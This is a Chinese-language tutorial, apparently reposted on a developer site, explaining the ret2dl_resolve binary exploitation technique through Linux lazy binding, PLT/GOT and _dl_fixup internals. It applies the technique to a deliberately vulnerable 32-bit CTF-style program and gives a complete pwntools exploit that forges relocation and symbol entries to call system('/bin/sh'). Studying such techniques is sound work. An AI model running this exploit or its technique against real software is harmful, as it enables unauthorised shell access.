内容简介:ret2dl_resolve是linux下一种利用linux系统延时绑定(Lazy Binding)机制的一种漏洞利用方法,其主要思想是利用_dl_runtime_resolve()函数写GOT表的操作,改写写入GOT的内容,使其成为getshell的函数值。在了解利用方法之前必须对延时绑定机制详细了解。其具体的方法可以参照《程序员的自我修养——链接、装载与库》一书7.4节。为了实现少量时间换取大量空间以及方便程序维护的目的,Linux中大量程序抛弃了静态链接的方式,转而投向动态链接 的怀抱。但是由于在程序
前言
ret2dl_resolve是 linux 下一种利用linux系统延时绑定(Lazy Binding)机制的一种漏洞利用方法,其主要思想是利用_dl_runtime_resolve()函数写GOT表的操作,改写写入GOT的内容,使其成为getshell的函数值。
背景知识
在了解利用方法之前必须对延时绑定机制详细了解。其具体的方法可以参照《程序员的自我修养——链接、装载与库》一书7.4节。
为了实现少量时间换取大量空间以及方便程序维护的目的,Linux中大量程序抛弃了静态链接的方式,转而投向动态链接 的怀抱。但是由于在程序在运行中不需要动态共享库(.so文件)中的所有函数,所以很多函数自始至终是没有被使用过的。如果一股脑将动态共享库中所有函数都装载进程序的运行空间,这是十分消耗资源的。于是为了节省资源,Linux在程序第一次调用函数时才会将其装载程序。
这里用到了PLT表的结构,细心的小伙伴可能注意过,PLT表中每个函数的第一项都是一个jmp至GOT表的操作。那么这个PLT的作用又是什么呢,为什么不直接使用GOT表呢。在jmp指令下面,还有push和另一个jmp指令,这些指令又是为什么存在在这里呢。
首先看图,此程序是运行在linux下的32位程序,此时的程序的状态是刚刚进入main函数,还未对write函数进行调用:
这便是一个程序中PLT表write函数对应表项的内容。此时第一条指令跳转的目的地便是GOT表中write函数对应的表项,查看这个地址中的内容:
可以看到,实际上GOT表中在一开始时,并没有存放函数的真实地址,而是原来PLT表write函数对应表项中push 0×20指令的位置,也就是说,当函数第一次调用write函数时,实际上并未直接到底libc中write函数的真正地址,而是绕了一圈回到了PLT表中,将0×20压入栈中,之后跳转至0×8048380处。
在这里,程序又将一个参数压栈,然后跳转至0x804a008处,而这个地址中的函数便是_dl_runtime_resolve()函数。
而之前压入栈中的两个参数便会作为参数供_dl_runtime_resolve()函数调用:_dl_runtime_resolve(link_map, reloc_arg),而其中最重要的函数便是_dl_fixup函数,这里的0×20便是reloc_arg,也就是我们在漏洞利用中需要注意控制的内容。
这里0×20的含义是什么呢?这里的0×20偏移是指与.rel.plt表的偏移,readelf -S binary 可以查看ELF文件中段信息。
这里的0×20的偏移处便是reloc的位置
里面两条信息,一个是write的GOT表,另一个下面分析:
查看下_dl_fixup函数的内容:
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) { // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 然后通过reloc->r_info找到.dynsym中对应的条目 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); // value为libc基址加上要解析函数的偏移地址,也即实际地址 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); // 最后把value写入相应的GOT表条目中 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
函数中遇到了reloc结构体中的r_info,也就是reloc中的0×607,这里低字节的0×07表示R_TYPE,只要是7便好,而高字节的0×6则是R_SYM,是用来找到.dynsym中的条目的。这里的6代表了偏移:
这里的write的Num为6,而找到这个地址的方法就是利用.dynsym的地址加上0×10*Num:
这里便是write对应的符号信息,此符号信息有结构体的定义
typedef struct { Elf32_Word st_name; // Symbol name(string tbl index) Elf32_Addr st_value; // Symbol value Elf32_Word st_size; // Symbol size unsigned char st_info; // Symbol type and binding unsigned char st_other; // Symbol visibility under glibc>=2.2 Elf32_Section st_shndx; // Section index } Elf32_Sym;
图中的0x4c便是st_name,而0×12便对应了st_info。那么st_name为什么是个数字呢。实际上,0x4c也是一个偏移,他是相对于.dynstr段的偏移。
最后,_dl_fixup函数会利用 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
最终实现调取libc中的write地址:
而ret2dl_resolve就是修改reloc的偏移,构造fake_reloc和fake_Elf32_Sym,使其指向任意的函数。
漏洞利用方法
现在总结下上述知识和漏洞利用方法。
_dl_runtime_resolve()通过两个参数在libc中寻找函数地址,而我们更加关注的是第二个参数也就是上面write的0×20,0×20将_dl_runtime_resolve()带到了reloc的位置,reloc中有2个重要信息,一个是函数的got表地址,另一个是r_info。r_info的高位是.dynsym中的条目,.dynsym的地址加上0×10*Num,得到函数对应的符号信息,而修改其中的st_name偏移,就可以伪造函数名称,从而实现漏洞利用,我们将其过程反过来,根据漏洞利用顺序,实现漏洞利用:
1、在一个地址上写入”system”;
2、伪造reloc,其中r_info根据.dynsym+0×10*NUM = address of(Elf32_Sym ),计算出r_info;
3、伪造Elf32_Sym ,其中st_name为.dynstr+st_name = address of(“system”);
4、调用dl_runtime_resolve()的参数,修改其参数,使其指向伪造的reloc。
漏洞利用实例
首先,先看一个简单的ret2dl_resolve类型题目源码:
//gcc -m32 -fno-stack-protector -no-pie bof.c -o test #include <unistd.h> #include <stdio.h> #include <string.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "ret2dl_resolve\n"; setbuf(stdout, buf); vuln(); return 0; }
这一题目开启了NX,关闭了其他保护,在没有leak函数的情况下,可以通过爆破GOT表上的libc进行漏洞利用,当然,这里就可以利用ret2dl_resolve进行漏洞利用了。根据我们上面的分析,开始构造吧
在一个地址上写入”system”
由于我们需要一个不变的地址,所以,我们需要在bss段上填写这一数据,所以,我们将栈迁移至bss段上,这里,我们还要考虑后续还要read。
利用栈溢出,ROP,开始迁移栈,常规操作:
pop_ebp = 0x080485bb # pop ebp ; ret ppp = 0x080485b9 # pop esi ; pop edi ; pop ebp ; ret leave = 0x08048405 # leave ; ret bss = 0x0804A020 payload = "A"*0x70 payload += p32(bin.plt['read']) + p32(ppp) payload += p32(0)+p32(bss)+p32(0x100) payload += p32(pop_ebp)+p32(bss)+p32(leave) sl(payload)
迁栈成功,我们再在bss段上写入ROP,并开始下一步工作。
因为我们的ROP中有read函数,所以就可以在bss段中写入system。所以,我们接下来将程序流程指向plt表中的最后一条指令,即_dl_runtime_resolve()的GOT表,也就是最后一步,执行_dl_runtime_resolve()。
payload2 = "AAAA" payload2 += p32(0x804835B) + p32(reloc_arg) payload2 += (......) payload2 += 'system'
伪造reloc
构建reloc,第一项是read的GOT表,第二项是r_info
reloc = p32(bin.got['read'])+p32(r_info)
计算r_info中偏移:
r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7
伪造Elf32_Sym:
查看.dynstr位置
之后,构造Elf32_Sym
r_name = address of ("system") - 0x804824c Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0)
调用dl_runtime_resolve()
总结一下,上述的情况:
r_name = address of ("system") - 0x804824c Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7 reloc = p32(bin.got['read'])+p32(r_info) payload2 = p32(0x804835B) + p32(reloc_arg) payload2 += (......) payload2 += 'system'
那么只需要确认上述的几个地址即可,将其安排下去:
r_name = address of ("system") - 0x804824c Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) r_info = (((address of (Elf32_Sym) - 0x80481cc)/0x10) << 8 )+0x7 reloc = p32(bin.got['read'])+p32(r_info) payload2 = "AAAA" payload2 += p32(0x804835B) + p32(reloc_arg) payload2 += "AAAA" payload2 += p32(address of "/bin/sh") payload2 += reloc payload2 += Elf32_Sym payload2 += 'system\x00' payload2 += '/bin/sh\x00'
那么此时,system的地址为 bss+13*4
,而Elf32_Sym的地址为 bss+8*4
,/bin/sh的地址为 bss+13*4+7
得到:
r_name = bss+13*4 - 0x804824c Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) r_info = (((bss+8*4 - 0x80481cc)/0x10) << 8 )+0x7 reloc = p32(bin.got['read'])+p32(r_info) payload2 = "AAAA" payload2 += p32(0x804835B) + p32(reloc_arg) payload2 += "AAAA" payload2 += p32(bss+13*4+7) payload2 += reloc payload2 += Elf32_Sym payload2 += 'system\x00' payload2 += '/bin/sh\x00'
查看.rel.plt位置
所以reloc_arg=bss+5*4 – 0x80482f4
最后,得到全部exp:
#coding=utf-8 ########################################################################## # File Name: pwn_exp.py # Author: sofr # mail: sofr@foxmail.com # Created Time: Wed Apr 1 10:24:12 2020 ######################################################################### from pwn import * import sys context.log_level = 'debug' r = lambda x:p.recv(x) ru = lambda x:p.recvuntil(x) s = lambda x:p.send(x) sl = lambda x:p.sendline(x) sf = lambda x,y:p.sendafter(x,y) slf = lambda x,y:p.sendlineafter(x,y) l32_addr = lambda x:u32(x.ljust(0x4,'\x00')) drop_end = lambda x,y:x.split(y)[0] getshell = lambda :p.interactive() binary='./boo' global p bin = ELF(binary) if len(sys.argv) > 1: p=remote(sys.argv[1],int(sys.argv[2])) else: p=process(binary) pop_ebp = 0x080485bb ppp = 0x080485b9 leave = 0x08048405 bss = 0x0804A020+0x800 payload = "A"*0x70 payload += p32(bin.plt['read']) + p32(ppp) payload += p32(0)+p32(bss)+p32(0x100) payload += p32(pop_ebp)+p32(bss)+p32(leave) sl(payload) reloc_arg=bss+5*4 - 0x80482f4 r_name = bss+13*4 - 0x804824c Elf32_Sym = p32(r_name)+p32(0)+p32(0)+p32(0x12)+p32(0)+p32(0) r_info = (((bss+8*4 - 0x80481cc)/0x10) << 8 )+0x7 reloc = p32(bin.got['read'])+p32(r_info) payload2 = 'AAAA' payload2 += p32(0x804835B) + p32(reloc_arg) payload2 += 'AAAA' payload2 += p32(bss+13*4+7) payload2 += reloc payload2 += Elf32_Sym payload2 += 'system\x00' payload2 += '/bin/sh\x00' sl(payload2) getshell()
getshell:
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 技术讨论 | Largebin attack漏洞利用分析
- 技术讨论 | 自动化Web渗透Payload提取技术
- 技术讨论 | 如何编写一段内存蠕虫?
- 技术讨论 | Glibc中堆管理的变化
- 技术讨论 | 简谈渗透测试的些许基础
- 技术讨论 | 基于基站定位APP开发实录
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。